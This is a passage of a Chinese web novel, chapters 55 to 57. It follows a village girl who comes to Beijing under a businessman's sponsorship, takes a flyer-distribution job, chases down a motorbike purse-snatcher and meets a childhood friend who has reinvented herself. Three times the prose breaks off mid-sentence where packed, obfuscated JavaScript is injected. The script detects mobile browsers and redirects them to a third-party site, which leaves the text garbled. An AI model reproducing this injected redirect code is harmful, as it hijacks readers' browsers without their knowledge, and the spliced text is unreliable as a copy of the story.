l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696791|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟不去北京,你妈妈却还是会想尽办法让他进县一中读书,你能明白我的意思吗?你没有抢走你弟弟读书的机会,你只是夺回了自己读书的机会。” 虽然她明白了陈斌话语的深意,可心里还是难免压着一股沉甸甸的负罪感。 这股负罪感让她在挨打时没有反抗也没有逃跑,她温顺地承受那些带着怒火与审判的疼痛。 而现在—— 疼痛也好,负罪也好,别的什么也好,那些负面情绪通通散去,只剩下一个孩子叛逃时最本真的兴奋。 她已踏上旅程。 车厢里充溢着各种臭味各种噪声,她却依然精神抖擞,如一只出笼的小兽,近乎贪婪地用五感摄取所有新鲜事物。 从G省到首都总共是十小时车程,她将在今天下午到达首都。这个认知让她激动得险些坐不住,又怕给周围人添麻烦,只好深呼吸两下,压抑住自己的兴奋。 身旁的人来来去去,有人下车,有人上车,带孙子的大妈和带着随声听的年轻姐姐很快被其他人替代,她见到了上车以后就一直在接打电话的西装革履的上班族,见到了被乘务员提醒最好去吸烟区吸烟但依然执意要坐在座位上抽烟的大爷,见到了一对长得很丑但依偎在一起睡得香甜的小夫妻。 她见到了形形色色的人和他们被火车截获的一小段人生。 ** “许总,你说的这小孩到底是几点到啊?” 等了一个多小时,杨子昊的脚底板都要站出茧子了。他是许正康聘请来的记者,带着摄像在出站口等了这么久,也没见着他口中所谓的小孩。 许正康拿手帕擦了擦油腻腻的脖颈,脸色同样焦躁,心里已经把许思睿翻来覆去痛骂了好几个来回。要是按照他原先的想法来,资助祝吉祥来上学,现在早就已经万事大吉了。许思睿倒好,从中作梗,先斩后奏,瞒着他把资助对象换成了祝婴宁,临到头来才告诉他真相。这也就算了,关键是这小子今天还跑没影了,不知道又上了哪个犄角旮旯鬼混。他连祝婴宁长什么样都不知道,只能紧急调出综艺,通过综艺上模糊的截图比对着每一个朝出口走来的乘客。 杨子昊也在一旁帮忙分辨。 “找到了!找到了!许总,你看那个瘦瘦小小长得像男孩的!” 他话刚说完,那个男孩就被别人接走了,杨子昊只能尴尬笑笑。 又过了一会儿,他再次叫嚷起来:“许总,你看那!那个长得像希望工程大眼睛小女孩的蘑菇头,是不是有点像?” 许正康把手机上的照片和杨子昊所指的“蘑菇头”一比:“嗯……是有点意思。” 蘑菇头本人在出站口漫无目的地晃来晃去,手上提着一个土到掉渣的红白条纹交织的蛇皮袋子,肤色黑黑的,下巴尖尖的,一双眼睛黑白分明。 “走,上去问一问。”许正康锁定目标,带领杨子昊和摄像师往前。 55. 重逢 祝婴宁还在思索到了出站口该怎么办,就见一个国字脸中年男人带着一个记者模样的年轻男人和一个摄像朝自己走了过来,国字脸男人浓眉大眼,身宽体壮,记者又瘦又高,两人站在一起仿佛一对唱双簧的。 “你是祝婴宁吗?”国字脸男人开口,声如洪钟。 祝婴宁赶紧把脑海里乱七八糟的比喻拍开,礼貌地点点头:“是的,请问您是……?” “我是许思睿的爸爸,许正康。” 祝婴宁大吃一惊,忙不迭稍息立正,就差原地给许正康敬个军礼了,嘴唇上下一磕巴,碰出一句:“许叔叔好!” 她来北京之前紧急从陈斌那堆过期杂志里恶补了不少与之有关的功课,杂志里说北京人讲究对长辈用“您”而不是“你”,对长辈说“你好”而不是“您好”是会遭鄙夷的。为了显现自己是个有教养的人,而不是粗俗没礼貌的人,她停顿几秒,涨红脸颊,正儿八经又憋出一句:“许叔叔您好。”想了想,还把右手伸了过去。 许正康头一回见到晚辈主动要握手的,有点不知道该说什么,但还是把手伸了过去,和她简单交握片刻,随即用眼色示意摄像上前,自己则切入正题道:“你坐火车过来累坏了吧?坐了多长时间?火车上没空调吧?来,先到我车上去吹吹空调,以后你就在我们这读书了,不用再担心没书读了,你放心,叔叔会资助你的。” 虽然横亘在他们中间的摄像机让她略感困惑,但有了之前综艺的经验,祝婴宁对此适应良好,只以为是许正康名头大,吸引了记者过来采访,于是诚恳又认真地答道:“我不累,坐了十个小时,火车上没有空调。谢谢您愿意资助我,许叔叔,我会牢牢记得你们一家的恩情,等以后赚了钱报答你们。我也会好好学习,绝对不辜负你们的信任的!”说完又转向摄像机,竖起大拇指,好心补充道,“许叔叔一家人都是我的恩人,他们人真的很好。” 她这副一本正经的态度倒阴差阳错契合了许正康的需求,他欣慰地笑道:“好,好!”然后面朝摄像机,拍着祝婴宁的肩膀说,“这孩子不错,懂得感恩。” 许正康的轿车就停在不远处,是辆大奔。祝婴宁惊奇地打量着这辆车。她不懂车,这是她第一次坐轿车,就算许正康开着一辆老头乐过来接她,她也会觉得很高级。 后备箱打开,许正康伸手要接过祝婴宁手里的蛇皮袋子,祝婴宁忙说不用,自己一使劲儿,轻轻松松就把蛇皮袋甩了上去。 “小姑娘劲儿还挺大。”许正康不咸不淡评价道。 她笑着说:“我们村的人都说我力气大,许叔叔,以后你们家有什么力气活,您都可以交给我。” “不用,我们家有钟点工,你是来读书的,不是来做保姆的,好好学习才是要紧事。” “哦……”她懵懂地应了一声。 许正康坐进驾驶座开车,记者坐副驾驶,摄像和祝婴宁一起坐后排。她爬上后座,神情显得有些急促,双腿并在一起,手直直地撑在膝盖上,不敢乱动,生怕碰坏了什么东西,直到被摄像提醒才想起要系安全带。 车子驶上公路,高楼大厦鳞次栉比,她睁大眼睛,看着车窗外倒退的街景,脸上满是惊叹。看完一回头,摄像机几乎要怼上她的鼻子。祝婴宁冷不丁被吓得朝后退了退,紧接着就见前座的杨子昊回过身,笑着问她:“祝婴宁同学,我采访你几个问题好不好啊?” 她先是愣了愣,接着便大力点了点头:“好,您尽管采访。” 杨子昊便问她:“你能跟我们描述一下你在山里的生活吗?是不是每天都要劈柴挑水,非常辛苦?” “柴是我弟弟劈的,水的话,我们那有山泉水,很多人家都安了水龙头,不算很辛苦。” “你们那的学校是不是非常老破小,是不是压根没几个老师?” “我们学校是比较小,但是我的班主任陈老师,还有很多其他老师,他们都坚持在山里执教,他们非常伟大,我们那的学生也都非常珍惜来之不易的上学的机会。” “如果你没有继续读书,接下来是不是就要被父母逼着嫁人了?” “啊?那倒是没有……” …… 杨子昊问了许多问题,最后才问她:“许正康的资助是不是改变了你的命运?” “是的,我很感谢叔叔他们一家人。” “行,就采访到这吧。”杨子昊把身体缩了回去。 祝婴宁朝他笑了笑,心想这些回答要是有帮上忙就好了,希望电视机前的人看了采访,都能知道许思睿一家人是多好的人。 开了一小时车,他们到达了目的地,也就是许正康和许思睿现在居住的小区。 祝婴宁同样没见过小区这种“高级”的居民区建筑,她小心翼翼将脑袋探出车窗,眨巴着眼睛,看许正康从裤兜里摸出个类似卡片的东西,在识别器上一刷,小区门口的闸门就自动开了。她小小地“哇”了一声,把手搭在车窗边沿,好奇地看着大奔驶入地下停车库。 地下停车库里有股汽油和霉菌交织的气味,祝婴宁觉得这味道还蛮新奇蛮好闻的。 许正康熄了火,就要去后备箱拿她的行李,祝婴宁三步并作两步冲上前,自己拎起了袋子,誓不给任何人添麻烦,许正康只好无奈作罢。 杨子昊和摄像师也一起跟了下来,等电梯的时候,摄像一直近距离对着祝婴宁的脸拍摄,但她并没有在意,反而抱着行李,兴味盎然地盯着电梯下行的楼层。进到电梯里,许正康本来想直接按按钮,看到祝婴宁在一旁倍显期待的眼神,干脆往后让了让,说:“我们家住16楼,你来按吧。” “我可以吗?”她瞪大眼睛,郑重得仿佛这不是一次简简单单的按电梯事件,而是要在房产证上签字。 许正康微微颔首。 祝婴宁这才走上前,深呼吸,伸出食指,对准数字16重重一戳。16亮起,她这才面带微笑,以一种功成身退的表情退到后面,抱着行李傻乐。 电梯叮咚开门,她跟在许正康身后,轻手轻脚走了出去。这层楼只住着两户人家,一户在左,一户在右,许正康他们住在左边,门牌号是1601,她仔细记下门牌,又学着许正康的样子脱了鞋,这才拎着她那个浸满油污的蛇皮袋子走了进去。 在祝婴宁的设想里,门一开,里面多半会站着许思睿的妈妈和许思睿本人。为了应对这种场景,她刚刚在许正康车上时便紧急于脑海中演练了一遍见到他们后要说的话。 但,什么都没有发生。 许思睿不在家,许思睿的妈妈也不在。屋子里甚至没开灯,许正康把客厅的灯按开,径直带她来到客房,介绍道:“这里以后就是你的卧室了。” 没见到许思睿本人的失望冲淡了拥有独立卧室的惊喜和感动,祝婴宁愣了一会儿才回过神,连忙道谢:“谢谢许叔叔。” 客房收拾得很干净,有一张床,一个衣柜,一张书桌。这待遇是她从前想都不敢想的,她又接连道了好几次谢,才抱着蛇皮袋,把袋子放到了窗台上。 “你自己收拾会儿行李吧,我出去送一下记者。” “好的。” 许正康走后,祝婴宁不敢随意参观这间屋子,觉得这样不礼貌。她乖乖待在客房里,把蛇皮袋打开,将里面的衣物一件件取出来,叠好收进衣柜里。全部整理完以后,她抱着膝盖蜷缩在窗台上,看着下面的万家灯火发呆。 这里的夜景与山里迥异,山里没什么照明设施,一到夜晚,到处都黑漆漆的,这里却像灯光塑成的银河,每一户人家,每一辆汽车,每一盏路灯,都是城市里的星辰。 这繁华让她赞叹,也让她越发感到孤独。 ** 许正康是四十分钟后回来的,祝婴宁听到开门声,小跑出去迎接他:“许叔叔好。” “嗯。”许正康应了声,举高手里提的袋子,解释道,“我去外面买了点吃点,今晚我们俩就随便吃点吧。” “好,谢谢您,让您破费了。” “……不用这么客气。” 他把食物放到餐桌上,一盒盒拿出来,祝婴宁很想帮上点忙,又不知道能帮什么,只能在一旁帮忙拉开凳子。 全部摆好以后,她左看右看,忍不住问出盘旋在心里的疑惑:“许叔叔,许思睿不回来吃吗?” “不用理那个兔崽子,他不着家的。”提起许思睿,许正康的脸色瞬间黑了几个度。 祝婴宁不清楚他们父子之间有什么矛盾,但这股突如其来的低气压就算是傻子也能感觉出来,她只能干笑两声,迅速转移话题:“那……那阿姨呢?阿姨工作很忙吗?来到这还没见到她呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703507|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我应该向她打声招呼的。” 许正康脸上原本因许思睿而起的怒火顿了顿,化成一股不自然的遮挡:“嗯,她……被外派到外地工作了,得三年后才能回来。” “啊?三年?”祝婴宁还以为父母分居两地工作这种事只有他们这种贫穷的家庭才会遇到,没承想许思睿这种家庭也有类似困境,立刻感同身受地说,“我阿爸以前也需要在外地打工,我能理解这种感受,许叔叔,您和许思睿一定非常想念她。” 许正康被祝婴宁这番真情实感的感慨弄得不知道该怎么接话,只能含糊嗯了一声,把话题别开:“先吃饭吧,凉了就不好吃了。食不言,寝不语。” 祝婴宁没想到许思睿家还有这么严苛的家教,闻言立刻闭上嘴巴,还煞有介事地做了个给嘴巴上拉链的动作,低头默默吃了起来。 一顿沉默到堪称沉滞的晚餐结束,她起身抢着收拾残局,末了,问出自己打算了很久的事:“许叔叔,你们这附近哪里可以打工呀?” ** 打工是祝婴宁一早就决定好的事,一来,她希望能早点还清欠许思睿的那些钱,二来,祝大山的医药费、祝吉祥的学费和家里的日常开支都还没着落,她不可能来了趟北京就将家里的事情通通抛之脑后独善其身,三来,她也希望自己可以早日独立,不要高中三年都仰仗许正康资助。 但许正康听完她的话,脸色却猛然一沉:“打工?你怎么会有这种想法?” 祝婴宁被他骤变的脸色吓得声音都小了下去:“我希望可以早点独立……” “你要是缺零花钱,就直接跟我要,你现在是学生,当务之急是学习,怎么会想着出去外头打工?” “我不是想要零花钱的意思,许叔叔,您误会了!”她急忙摆了摆手,生怕许正康误会自己,本来是想详细解释一遍的,可看到许正康不太耐烦的脸色,那些冲到喉咙口的话又被她下意识咽了回去,改口为,“我知道了……我不会去打工的。” “这才对,你是学生,学生只需要考虑学习的事就好。”许正康严肃地评点完,站起身接了个电话。 祝婴宁只能悻悻然作罢。 ** 才怪。 她大多数时候都很符合老师家长对“好学生”“好孩子”的定义,然而骨子里自带一股隐蔽的叛逆,对于自己认为正确的事,就算别人再反对,她也赴汤蹈火在所不惜。 第二天早上,许正康出门工作,走之前给了她一把家里的备用钥匙,交代她中午可以用冰箱里的饭菜简单料理点午餐。祝婴宁乖巧地点头应允,又乖巧地目送他离去。 半小时后,她换了身外出的着装,幽灵一样飘出了门。走之前她还鬼鬼祟祟飘去许思睿卧室前看了看,想确认他昨晚有没有回家,果不其然发现他床上空无一人。 夜不归宿,太恶劣了! 这项罪名在她眼里比抽烟还严重,可与此同时,她又有点疑惑许正康为什么对许思睿彻夜未归这件事毫不在意。 算了,现在不是想这些的时候。 她摇摇头甩开杂念,换上外出鞋,朴素地出门了。 社交恐惧这种词汇并不存在于祝婴宁的字典里,她像个悍匪一样闯入她能看到的所有店铺,开口就是:“你们这招人吗?” 本来以为北京是大城市,工作机会多,找工作肯定更容易,但她完全想错了。正因为是大城市,法律意识强,所有人在听完她的问题且看清她的小身板后,都会随之问一句:“你多大了?” “我十五了。”她总是诚实地答。 “十五是童工啊,你找暑假工都没人要我告诉你。” “没满十六找什么工,去去去——” “十五太小了,我们不招小孩儿。” 从九点出门,到太阳正当空,她找了整整三个小时,将小区方圆五公里的街边店铺都问了一遍,问得口干舌燥,也没问出个所以然。 天气越来越晒,为了避免脱水而亡,她只能先回了趟家,想补充点水分再继续下楼找。 用钥匙拧开房门时,祝婴宁压根没想过屋子里可能会有人,因此差点和将要出门那人撞个满怀。她抬起头,脸上神情在看清来人后微妙地定住了。 他长高了。 这是她脑海中浮现的第一个念头。 56. 传单女侠 继长高的感慨之后,第二个浮上她脑海的念头是—— 好白啊他。 许思睿原本就长得白。祝婴宁对人脸好看与否缺乏深刻认知,只记得许思睿白得发光,而此刻,这份白更上一层楼,从原本健康的白进一步演化成病态的苍白,将他本就昳丽的唇色衬出一种吸血鬼般的色泽。他的脸部轮廓也少了几分圆钝的稚嫩,多了几分少年初长成的刚毅和骨感。 然而无论是身高还是肤色还是五官的蜕变,这些变化都抵不上眼神的变化。 他的目光在看到她时像有一瞬的惊讶,可很快被一种堪称淡漠的神色覆盖过去,她张开嘴,问好的话还没来得及说出来,他就径直同她擦肩而过,看也没看她地走进电梯,无声离开了,空气里只留下一股他与她擦肩而过时卷挟起的淡淡的洗衣液气味,以及一股不知道是酒味还是烟味的难以辨认的诡异气味。 “?” 祝婴宁保持着嘴巴微张的姿势,一头雾水。 这个人和几天前给她打电话的真的是同一个人吗? 她站在门口纳闷了好久,不知道许思睿在抽什么风,明明特意打电话叫她过来,可看到她却一副懒得跟她搭话的模样。他怎么了? 但现在也不是纠结这个的时候,她的工作还没着落呢。祝婴宁只能暂时压下困惑,先回屋里喝了两杯水。尽管许正康说冰箱里的食材可以随意使用,她却不好意思吃别人家太多东西,给自己蒸了两个馒头就算午餐了。 吃完午餐,清洗完碗筷和蒸架,她很快又顶着日头回到楼下,步行至更远的地方寻找工作。 这回她学聪明了,别人再问她几岁,她便厚着脸皮,一边在心里为自己撒谎道歉,一边面不改色地答:“十六。” 可惜她敢答,也得别人敢信才行,有些店家要她出示身份证,她拿不出来,店家便皱眉赶人,也有些店家比较宽松,听说她十六了,没打算验证,只摇头道:“你这个年纪找正式工还是太小了,我跟你说,你这样找很难有人要你。找暑假工可能还靠谱些,但现在都快八月份了,人家想找暑假工的都是六月末七月初开始找,哪有这个点才找的?暑假工早被人抢光了!小妹,你这找工作的时机卡得太尴尬了啊。” 她顶着毒辣的阳光,汗涔涔地找了一个下午,依然一无所获。 眼看日色西斜,傍晚来临,祝婴宁蹲在街道边,愁得唉声叹气。 这和她原先计划好的完全不一样。 正抓着头发发着愁,面前忽然掠过一个人影,一句语速极快且毫无停顿的“您好教育机构了解一下新人体验课免费不用钱大师课□□折走过路过千万不要错过别让自己输在起跑线上”像蜈蚣一样钻进她耳里,等她反应过来,怀里已经莫名其妙多了两页传单,而发传单的年轻人早已扬长而去,去远处荼毒下一个人了。 她捏起那两页散发着油墨味的崭新的传单,眼前猛然一亮,站起身,大步流星追上去,对发传单的男生道:“你们这个教育机构还招人吗?” 男生同样眼前一亮——如果她的眼前一亮可以用灯泡来形容,那他的眼前一亮就是恒星爆炸了——猛然攥住她的手腕,激动得直哆嗦:“招啊!招!当然招啊!现在报名就能免费体验两节课,特划得来我跟你说!” “不,我的意思是,你们这个教育机构还招发传单的人吗?” “?” 男生闻言,嘴角狠狠向下一挎,甩开她的手腕,当场来了个川剧变脸,冷淡道:“不知道啊,不招了吧,不知道,别问我。”说完摆了摆手就往别处拉拢客源去了。 “……” 祝婴宁见状,只好低头仔细看了下传单,见传单上这家教育机构的地址离这儿不远,干脆顺着地址找了过去。 机构是新开业的,门口还摆着两排花篮,门内却冷冷清清。她走进去逛了一圈,没见着人,正不知道是该离开还是在这等待,就见洗手间的位置出来了一个人,脖颈上挂着工作牌。她心下一喜,大步上前,问:“您好,请问你们这还招发传单的人吗?” 那人愣了愣,随即点头,言简意赅:“招。” “太好了!您看我行吗?”她使劲儿指着自己,自我推销,“我皮肤黑,抗晒,体力好,抗造,我还嗓门大,能拉人,您听,您听,啊——啊——啊——”她气运丹田,腹腔发力,发出了响亮且无意义的一串语气词。 “?” 工作人员嘴角抽了抽,被她这副热情过度的反应弄得不知如何是好,挠了挠头又挠了挠脸,最后才说,“那……就试试吧。”然后回到柜台,开始登记她的姓名和联系方式,问她什么时候能来工作。 祝婴宁没有手机,只能报了许思睿家的座机,并且允诺:“明早就可以。” “那你明早八点过来吧,到时我再把具体工作给你介绍一下。” “好!”她激动不已。 ** 发传单的工作说简单也简单,说难也难,按底薪和提成结算,基础薪资一天两块,每拉来一个人就加十块,每留下一个电话号码加三块。没有劳务合同,不算正式员工,更别提五险一金,工资日结,能干就干,不能干就拉倒,这是工作人员的原话。 “你多去人多的地方晃悠,像什么超市啊商场啊少年宫啊,十字路口也成,谨记目标群体是家长和学生。” 至于具体怎么拉人,就各凭本事了。祝婴宁听懂后,从工作人员那领了个工作牌,提着一袋子传单,开启了她在北京的第一份工作。 用一个词来形容,那就是愁云惨淡。 她很快通过这份地推工作领悟到一个真理——所谓“伸手不打笑脸人”对发传单来说用处甚小。那些彪悍的大爷大妈才不管你笑得多温暖,不要就是不要,其中有些人主动要了,也并非对传单感兴趣,只是想免费顺几张纸当公园草坪的坐垫;而三四十岁的中年男女富有社会经验,还赶着上班,也懒得多给眼神;小孩被大人带着,或许有几分好奇,但只要家长来句“别拿”或者“走快点!你还赶着去少年宫上课”,也会立刻蔫下;只有二十岁左右的年轻人单纯热心且好骗,会被微笑挟持,通常总是干巴巴一笑便顺手接下传单。可他们年龄尴尬,当学生太大,当家长又太小,卡在一个不上不下的位置,已经不是受众群体了,唯一的作用就是减少她袋子里传单的重量。 干了一天,她只勉强要到两个电话号码,其中一个后来经过工作人员验证——是个空号。 她总算明白昨天那个男生听到她的问题后为什么那么激动了,“你们这招人吗”,这是多么久旱逢甘霖的一句话! 但祝婴宁并没有气馁,她坚持干了五天。五天下来,她每天都只能要到那么可怜的两三个电话,至于人,更是一个都没拉到。店长看她的眼神越来越富有深意,祝婴宁生怕他一个狠心把自己给开了,只好在第六天痛下决心,决定找同行取取经。 和她一起发传单的人流动性极高,稍微固定的只有三个人,除了那个年轻男生,还有一个阿姨,姓肖,他们仨的成绩,肖阿姨销冠,她和男生常常角逐倒数第一。她偷偷观察着肖阿姨,想要从她身上取经,最后发现肖阿姨之所以是销冠,是因为她爱跳广场舞,由此结识了很多老年好姐妹,通过这些好姐妹一传十十传百,你告诉你儿媳,我告诉我孙子,由此才拉到了客源。 广场舞是祝婴宁来到北京以后才知晓的一项中老年妇女团建活动,她并不觉得这些舞曲土,反而觉得这项活动很有朝气。经过缜密的思索,她决定加入广场舞团队。 “……你认真的?” 经过几天的相处,祝婴宁虽然还和那个年轻男生处于半生不熟的状态,但已经知道他的名字叫李健宇,他们偶尔会在发不出传单的时候凑在一起唉声叹气。 此刻听了她的决定,李健宇的嘴巴蠕动了许久,才把嘴边那句“你没发烧吧?”换成了“你认真的?”。 “对。”她完全没听出李健宇的言下之意,认真答道,“三人行,必有我师焉,择其善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709227|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者而从之,我觉得肖阿姨的经验很值得借鉴。” “……” 李健宇勉强点点头,朝她敷衍地比了个fighting的手势,“你加油,我围观。” 祝婴宁便提着袋子,打算往中行前头那片常常被中老年妇女征用来跳舞的空地走去。 此刻正值黄昏,路上来往行人不少,但这条小路不属于大道,没有交警值勤。2011年仍是一个飞摩盛行的年份,行人讲究财不外露,即使是有钱人也不敢随意在身上穿金戴银,因为路边随时都有可能窜出一辆抢劫的飞摩,把行人身上值钱的包包或者首饰拽了就走。曾有人紧握包包不放,被拖行数十米,拖成半身瘫痪,也有人耳朵上戴着金耳环,被打劫的人一把拽下,生生造成耳垂撕裂。 飞摩抢劫的事对山里人和城里人来说都不陌生,因此听到身后传来相继传来几道刺耳尖叫,看到身旁忽的掠过一辆快似疾风的摩托的时候,祝婴宁瞬间就反应过来发生了什么事。 她什么都来不及想,腿就自发动了起来,宛如离弦之箭弹射而出,紧紧追在摩托车后。 “抢劫啊!!” “抢劫了——” “有人抢了我的包!” “闪开闪开!” “小心!别撞死人了!” 街道上乱成了一锅粥,摩托在人群中横冲直撞,行人们仓皇尖叫着躲避。在一片混乱中,只有祝婴宁逆着人潮飞快往前冲,牛皮糖一样黏死在摩托车后五六米处。 李健宇在后头完全看呆了,不仅是他,摩托车上的歹徒更是呆若木鸡。 透过后视镜,他看到一个小小的影子阴魂不散撵在他身后,身姿矫健如豹,刘翔来了恐怕都得甘拜下风。这还不是最夸张的,最夸张的是她居然还能一边跑一边大声喊:“住手!快住手!抢劫是违法的!” “狗日的……” 歹徒破口大骂,加快速度,在拐角处来了个极限压弯。他急于甩脱祝婴宁,以至于昏头转向间开到了有交警的那条车道。 ** 李健宇小跑着赶过去时,一切都已尘埃落定,歹徒被交警制服,而立了大功的祝婴宁怀里依然紧紧抱着那袋传单,一本正经对交警道:“不客气,这是我应该做的。” “你还真牛啊……”李健宇走向她,视线在歹徒抢劫的包包上粗略扫了一眼,“爱马仕的包包,我天,祝婴宁,你真的牛,你发达了你知不知道?” “啊?发达了?”她没听懂。 “爱马仕的包包啊!你不认识?这包有钱人才买得起的!我刚刚看过了,这包是个年轻女人的,她正往这边来,你把握机会,多敲她点钱,敲到钱了还发个鬼的传单啊……我天,这种好事怎么没叫我碰见。”李健宇避开交警,在祝婴宁耳边低声示意。 这回祝婴宁听懂了,她惊愕地看着李健宇,看得李健宇莫名其妙:“你这是什么眼神?干嘛这样看着我?” “敲诈勒索是不对的。”她皱着眉头,严肃地低声道,“李健宇,你的观念有问题,我们应该做好事不留名,怎么可以向别人索要奖赏呢?” “?” 李健宇顿时梗住了。 街道那头,被抢劫的年轻女人正小跑而来,祝婴宁本来想要赶紧闪身离开,但余光瞥见了手里的袋子,脚步顿了顿,灵光一闪,道:“不过,我可以给她一张传单。” “……” 李健宇欲言又止,恨不得一头撞死,“你、唉……我……唉……!我算是开了眼了,我头回听到这么没出息的要求。” 年轻女人离她们越来越近,祝婴宁低头从袋子里摸出一张新传单,把边角捋了捋,正打算向女人推销,嘴角笑容却在看清来人的样貌后硬生生僵住了。 女人捂着嘴巴喘气,喘了半天才将眼帘抬上来,目光定在祝婴宁脸上,瞳孔猝然放大,脸色刷白。 漫长的十几秒过后,年轻女人才打破了沉默,用带着颤音的声音,梦呓般轻声道:“……宁宁?” 57. 祝知微 “娟姐……?” 若不是对方主动出声叫她,祝婴宁并不敢开口相认。 和祝娟的变化比起来,许思睿那点变化都只能算小巫见大巫了。在祝婴宁的记忆里,祝娟有着他们那的人普遍拥有的麦色肌肤,头发浓密乌黑,发尾由于缺乏营养而略显枯黄,总是简简单单在脑后束成一道高马尾。而现在,站在她面前的年轻女人肤色莹白,头发烫成时尚的大波浪,浓妆艳抹,身上穿一套干练且贵气的职业套装,脚蹬杏色高跟鞋,完全是个都市丽人,只有仔细辨认,才能从她的五官里依稀辨认出昔日的影子。 从前在村里,祝婴宁总是亲昵地喊她“娟”,但不知道是长久的分别还是她翻天覆地的变化带来的陌生感使然,祝婴宁张口时,竟然不由自主在话语后加了一个更显礼貌也更显客气疏离的“姐”字。 祝娟笑了笑,笑容里夹带着一种介于尴尬、慌张和惊喜之间的复杂情绪。交警催她过去交流情况,她只能先对祝婴宁说:“你在这等我一会儿,我先跟交警说几句话。” “好。”祝婴宁呆呆地等在一旁。 李健宇在她旁边好奇道:“什么情况?你们居然认识?” 祝婴宁不太想多说,支支吾吾嗯了一声。 “算了,我就不凑你们这热闹了。”李健宇并不是那种没眼力见的人,见状豁达地耸了耸肩,把自己的传单一卷,摆摆手,说,“走了。”便往人流密集处发传单去了。 祝婴宁松了口气,默默感谢他的体贴。 她站在旁边等了一会儿,交警简单问完话,又让祝娟和她都去警局做个笔录,她晕头转向跟着去了,生平第一次进警局,按照交警的问话诚实回答提问,忙活完出来,抬头一看,天已经黑了。她有些着急,找祝娟借了下手机,先打去许思睿家,向许正康说明了情况:“我在附近碰到了一个以前的朋友,可能没那么早回去。” 许正康倒是通情达理:“朋友?哦,好事啊,多和朋友交流是好事,你玩吧,没事儿。” 聊完挂断电话,祝娟接回手机,好奇地问:“这是谁呀?” “是一个叔叔……说来话长。” “也对。”祝娟龇牙一笑,“站在警局门口说话算什么事,你也饿了吧?咱找家餐厅吃顿饭,一边吃一边说,慢慢说。” 祝娟带祝婴宁走进附近的百货大楼,在里头挑了家中餐厅,热情介绍道:“这家我常来吃,味道不错,你试试。” 服务员拿着一份装订好的菜单过来,祝婴宁局促得手脚都不知道往哪安,捧着菜单粗略扫了几眼,只觉得上面每道菜都贵得吓死人,磕巴道:“我不饿,娟姐,你……你随便点些你想吃的就行了。” “说的这是什么话?”祝娟白了她一眼,接过菜单,看都没看就还给了服务员,熟练地点了双人份的菜。 服务员一走,气氛有些沉寂下来,祝婴宁本以为气氛会尴尬,但祝娟好像通过这一通操作,慢慢找回了主场的从容,嘴角挂着与以前既相似又不同的微笑,主动开启话题道:“说起来,我们都多少年没见了?你怎么会在北京啊?” 虽然她们中间还是横亘着一种说不清道不明的陌生感,但凭着童年相处下来的信任,祝婴宁还是倒豆子似的,把她离开以后发生的所有事劈里啪啦全说了。 听着听着,祝娟的嘴巴逐渐张成了o型。 “所以,现在是那个许正康在资助你?” “对。” “我倒是有看过那个综艺,但我没想到后面你爸会出那种事,要是早知道的话,就不用找别人资助了,我来资助你,多好啊。” “不不不,你挣钱也不容易。”祝婴宁慌张地摇头摆手,摇得像要把脑袋甩出来,过了一会儿,才好奇地问,“娟姐,你现在在北京做什么呀?之前你给我写信,不是还在别的城市给人家当餐馆服务员吗?” 祝娟哈哈大笑起来:“那都是多少年前的事了,我现在早就不当服务员了!我在北京开服装店呢,自己当老板。还有,你别老叫我娟姐,娟字本来就土,你还加个姐字,更土了好吗?我来这边以后给自己改了个新名字,你以后叫我新名字吧,祝知微,也可以叫我英文名,Vivi。” 一下子接受了太多信息,祝婴宁的脑子有些转不过来:“哦……” 祝娟——不对,现在该叫祝知微了,祝知微继续说:“我服装店就在百货大楼里面,等待会吃完饭,我带你去我那转转。” “好啊。”祝婴宁眼前一亮,由衷赞叹道,“能自己开服装店,你真的太了不起了,娟……知……Vivi。” 祝知微被她蹩脚的称呼逗得直乐。 ** 服务员在她们谈话的间隙不断端上菜肴,一盅瓷白的汤碗摆在祝婴宁面前,她低下头,盯着浑浊的汤液和里面陌生的贝类:“这是……” “鲍鱼,你尝尝。” 她不懂鲍鱼是什么,但察言观色,本能地觉察出这是个好东西,遂担忧道:“这个很贵吧?我让你破费了。” “不贵。”祝知微把服务员端来的新菜肴往祝婴宁的方向推了推,说,“出来玩别考虑贵不贵,一计较起来,再好吃的东西,再好玩的东西,都变得没意思了。” 祝婴宁似懂非懂地点了点头。 她虽然听进了祝知微的劝诫,内在的“穷酸气”却一时半会儿别不过来,一顿饭吃下来,只觉得惶恐至极,至于美不美味,则半点都没觉察出来,比猪八戒吃人参果还不争气。 结束这顿令她惶恐至极的昂贵的晚餐,祝知微又依言带她去了她的服装店。 服装店开在百货大楼一楼,人流量大的中心地段,从正门进来,一眼就可以看到。店面不大,却布置得别具一格,由蕨类植物构成,很有自己的品味和思考。祝婴宁走进去,连呼吸都不由得放轻了,那一排排衣服,即使她不懂服装,不看吊牌,都能凭借灯光与店铺氛围的渲染猜出它们价格不菲。 店铺内有两个销售,都是年轻女性,长得一个赛一个漂亮,妆容精致,光彩照人。

